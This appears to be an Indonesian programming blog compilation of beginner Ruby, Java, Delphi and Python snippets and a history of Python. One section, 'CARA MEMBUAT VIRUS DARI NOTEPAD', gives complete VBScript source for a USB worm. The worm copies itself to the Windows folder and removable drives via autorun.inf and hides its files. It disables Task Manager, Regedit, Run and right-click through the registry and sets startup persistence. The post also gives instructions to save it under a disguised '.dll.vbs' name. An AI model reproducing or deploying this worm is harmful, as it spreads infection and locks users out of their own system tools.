Pemrograman Ruby Mengenal Array

Sekarang Kita Akan Membuat Array, Array Merupkan Barisan dengan Jenis Data yang disimpan dalam Satu variabel Tunggal, sekarang kita akan membuatnya pada pemrograman Ruby,

Contoh Listing Sederhananya :

a = [1, 2, 'm', [3, 4, 5]]
print "a[] = ",a
puts
print "a[3] = ",a[3]
puts
print "a[3][2] = ",a[3][2]
puts
a[3] = 13
print a
print "\n",a[6]
puts;puts
c = %w[Suci, Hari, Stya, Lukman]
print "c[] = [",c,"]"

Pemrograman Ruby Membuat angka Faktorial

Pada Matematika Kita Sering Menjumpai yang namanya Faktorial, Berikut ini merupakan Listing yang akan Kita Gunakan Untuk membuatnya :


def faktorial(n)
hasil = 1
i = 0
n.times do
i+= 1
hasil *= i
end
return hasil
end

print "Masukkan angka : "
x = gets.to_i
print x,"! = ",faktorial(x)
puts

Pemrograman Ruby Membuat Luas Trapesium

print "Masukan a:"
a=gets.to_i
print "Masukan b:"
b=gets.to_i
print "Masukan c:"
c=gets.to_i




Ni Listing untuk membuatnya :

puts
printf" %i\n",a
printf" ------------\n"
printf" / |\n"
printf" / |\n"
printf" / |%i\n",b
printf" / |\n"
printf" / |\n"
printf" / |\n"
printf" /_________________|\n"
printf" %i\n",c


e=(a+c)*b/2
print "Luas Trapesium adalah:",e


//Membuat Trapesium dengan Menggunakan Garis2 yang dibentuk sehingga menjadi Sebuah Trapesium dan rumus Luasnya adalah Garis a ditambah b dibagi 2

Pemrograman Ruby Membuat Luas Segitiga

Codingnya Mudah koq :


print "Masukan Alas:"
a=gets.to_f
print "Masukan Tinggi:"
t=gets.to_f

puts
printf" /|\n"
printf" / |\n"
printf" / |\n"
printf" / |%i\n",t
printf" / |\n"
printf" / |\n"
printf" /______|\n"
printf" %i\n",a


l=a*t/2
printf "Luas adalah:%f\n",l

//Untuk Membuat Segitiga kita membuat garis Diagonal kekiri dan kekanan, lalu sebuah garis Lurusnya, Kemudian untuk Rumus Luasnya 1/2 alas x tinggi. mudahkan?

Pemrograman Ruby Membuat Luas Persegi

Ni Listingnya :

print "Masukan Lebar:"
a=gets.to_i
print "Masukan Panjang:"
b=gets.to_i

puts
printf" ----------------------\n"
printf" | |\n"
printf" | |\n"
printf" | |\n"
printf" | |%i\n" ,a
printf" | |\n"
printf" | |\n"
printf" | |\n"
printf" |____________________|\n"
printf" %i \n",b

l=a*b
printf "Luas Persegi Panjang Adalah:%i\n",l


//Membuat Trapesium dengan Menggunakan Garis2 yang dibentuk sehingga menjadi Sebuah Pergeri dengan garis Lurus keatas dan Kesamping, kemudian rumus Luasnya adalah panjang x lebar

Java Membuat Lagu Anak Ayam

Masih ingat dengan Nyanyian Tekotek-Kotek Anak ayam Turun berkotek, dan sekarang kita akan membuatnya pada Java



import java.lang.*;
import java.io.*;

class anakayam { //tkj-informatika
public static void main(String[] args) {
int N=0;
int A=0;
String input=" ";
DataInputStream in = new DataInputStream(System.in);

//meminta jumlah anak ayam
try {
System.out.print("masukkan jumlah anak ayam = ");
input = in.readLine();
N = Integer.parseInt(input);
}
catch (Exception e) {}
//perulangan dimulai
A = N;
while (A > 1)
{
System.out.println("Tekotek kotek-kotek....");
System.out.println("Anak Ayam Turun berkotek....");
System.out.println("Anak Ayam turunlah " + A);
A--;
System.out.println("Mati 1 Tinggalah " + A);
System.out.println(" ");
}
System.out.println("Anak Ayam Turunlah " + A);
System.out.println("Mati 1 Tinggal Induknya");
}
}

Java Membuat Bilangan Fibonacci

Sekarang Kita akan membuat Bilangan Fibonaci yang Angkanya di bawah 20
Ni Listing Codingnya:


class Fibonacci {
public static void main(String[] arg) {
int A=1;
int B=1;
System.out.println(A);
while (B<20) {
System.out.println(B);
B=A+B;
A=B-A;
}
}
}

Membuat Array Baris dan Kolom

Berikut ini merupakan cara Membuat Array Matriks Baris dan Kolom secara Sedenhana yang saya buat
Ni Listingnya:


procedure TForm1.Button1Click(Sender: TObject);
var
Data : array of array of integer;
Baris, kolom : word;
begin
// Menentukan panjang array untuk setiap dimensi
SetLength( Data,
StrToInt(baris_array.Text), // panjang dimensi 1
StrToInt(kolom_array.Text)); // panjang dimensi 2
//pemasukkan data ke array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Data[Baris,kolom] := Baris+kolom;
// mengosongkan data pd Listbox
ListBox1.Clear;
//menampilkan data array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Listbox1.Items.Add('[' + IntToStr(Baris) + ',' + IntToStr(Kolom)+']=' +
IntToStr(Data[Baris,kolom]));
end;
end.

CARA MEMBUAT VIRUS DARI NOTEPAD

Lagi Iseng-iseng mencolok Flash Disk saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS (Ekstensi virus Buatan Visual Basic). Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesuai janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”.

Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives

‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs.

Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Hhheeee artikel ini minjem teman yang hobi ternak virus maklumlah saya masih newbie je, tapi da kurubah sedikit registrinya tambah jrenggggg!!!! Jadilah orang bermanfaat bagi orang lain…….

Delphi Menghitung Luas dan Keliling Segitiga

var
Form1: TForm1;
a,b,kel,luas:Single;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtAlas.Text);
b:=StrToFloat(txtTinggi.Text);

kel:=a+a+b;
luas:=a*b/2;

txtKel.Text:=(FloatToStr(kel));
txtLuas.Text:=(FloatToStr(luas));

end;

end.

Delphi Membuat Kalkulator Sederhana

Kalkulator Sederhana yang pernah Saya Buat
Ni Listingnya:


var
Form1: TForm1;
a,b,z:double;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a+b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a-b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a*b;

ShowMessage(FloatToStr(z));
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a/b;

ShowMessage(FloatToStr(z));
end;

end.

Mengenal Bahasa Python

Python dikembangkan oleh Guido van Rossum pada tahun 1990 di CWI, Amsterdam sebagai kelanjutan dari bahasa pemrograman ABC. Versi terakhir yang dikeluarkan CWI adalah 1.2. Tahun 1995, Guido pindah ke CNRI sambil terus melanjutkan pengembangan Python.
Versi terakhir yang dikeluarkan adalah 1.6. Tahun 2000, Guido dan para pengembang inti Python pindah ke BeOpen.com yang merupakan sebuah perusahaan komersial dan membentuk BeOpen PythonLabs. Python 2.0 dikeluarkan oleh BeOpen. Setelah mengeluarkan Python 2.0, Guido dan beberapa anggota tim PythonLabs pindah ke DigitalCreations.

Nama Python dipilih oleh Guido sebagai nama bahasa ciptaannya karena kecintaan guido pada acara televisi Monty Python's Flying Circus
Fitur

Python adalah bahasa pemrograman dinamis yang mendukung pemrograman berorientasi obyek. Python dapat digunakan untuk berbagai keperluan pengembangan perangkat lunak dan dapat berjalan di berbagai platform sistem operasi. Seperti halnya bahasa pemrograman dinamis, python seringkali digunakan sebagai bahasa skrip dengan interpreter yang teintergrasi dalam sistem operasi. Saat ini kode python dapat dijalankan pada sistem berbasis:
* Linux/Unix * Windows
* Mac OS X * OS/2
* Amiga * Palm OS
* Symbian (untuk produk-produk Nokia)


Beberapa fitur yang dimiliki Python adalah:
- memiliki kepustakaan yang luas; dalam distribusi Python telah disediakan modul-modul 'siap pakai' untuk berbagai keperluan.
- memiliki tata bahasa yang jernih dan mudah dipelajari.
- memiliki aturan layout kode sumber yang memudahkan pengecekan, pembacaan kembali dan penulisan ulang kode sumber.
- berorientasi obyek.
- memiliki sistem pengelolaan memori otomatis (garbage collection, seperti java)
- modular, mudah dikembangkan dengan menciptakan modul-modul baru; modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.


Mendengar kata Python, yang selalu terbayang adalah jenis ular yang besar dan populer. Di dunia pemrograman, Python juga merupakan sesuatu yang populer, walaupun tingkat popularitas bahasa pemrograman Python mungkin tidak setinggi Java atau PHP. Tetapi, sejak mulai dikembangkan pada akhir tahun 1980-an oleh Guido Van Rossum, Python tidak surut dengan pergerakan teknologi yang pesat, bahkan Python terus mengalami kemajuan dan perbaikan yang signifikan. Hingga saat ini, update terakhir adalah pada 17 Agustus 2009 yang lalu, saat Python 3.1.1 dirilis.

Python tidaklah berbisa. Kita semua tahu bahwa ular Python tidak berbisa, tetapi tetap saja mematikan. Hubungannya apa ya? Bahasa pemrograman Python juga tidak berbisa alias sangat friendly, tetapi mampu membuat killer application. Agar anda langsung memperoleh gambaran dan fakta yang jelas mengenai kemampuannya,

berikut beberapa aplikasi populer yang dibuat dengan Python :

1. BitTorrent.
Merupakan aplikasi yang tentu sudah tidak asing lagi (terutama bagi anda yang memiliki koneksi internet unlimited), yaitu sebuah program peer-to-peer untuk melakukan upload/download file melalui protokol BitTorrent. Awalnya, BitTorrent ditulis dengan Python dan merupakan software gratis. Tetapi, sejak versi 6.0 ke atas, BitTorrent ditulis dengan menggunakan C++ dan merupakan software proprietary.

2. Yum.
Yellow dog Updater, Modified atau dikenal dengan YUM, merupakan sebuah utiliti RPM manajemen paket berbasis command line yang dikenal pada sistem operasi Linux. Eksistensi Python memang sudah cukup dikenal pada distro-distro Linux, juga sering digunakan sebagai bahasa scripting yang embedded pada berbagai aplikasi, diantaranya GIMP, Rhyhmbox, dan Vim.

3. Plone.
Merupakan salah satu Content Management System (CMS) yang memiliki tingkat security yang sangat baik dan memiliki berbagai fitur yang menarik.

4. Civilization 4.
Game komputer dengan genre strategi dan telah dirilis dengan berbagai bahasa. Game ini menggunakan Python untuk melakukan berbagai fungsi, seperti menghasilkan peta, event, dan berbagai interface pada game tersebut.

Dan masih banyak lagi contoh lainnya. Python tidak terbatas untuk pembuatan aplikasi tertentu. Selain contoh-contoh aplikasi populer diatas, berbagai aplikasi seperti instant messaging, database, media player, web framework, dan lainnya, juga dapat dihasilkan oleh bahasa pemrograman Python.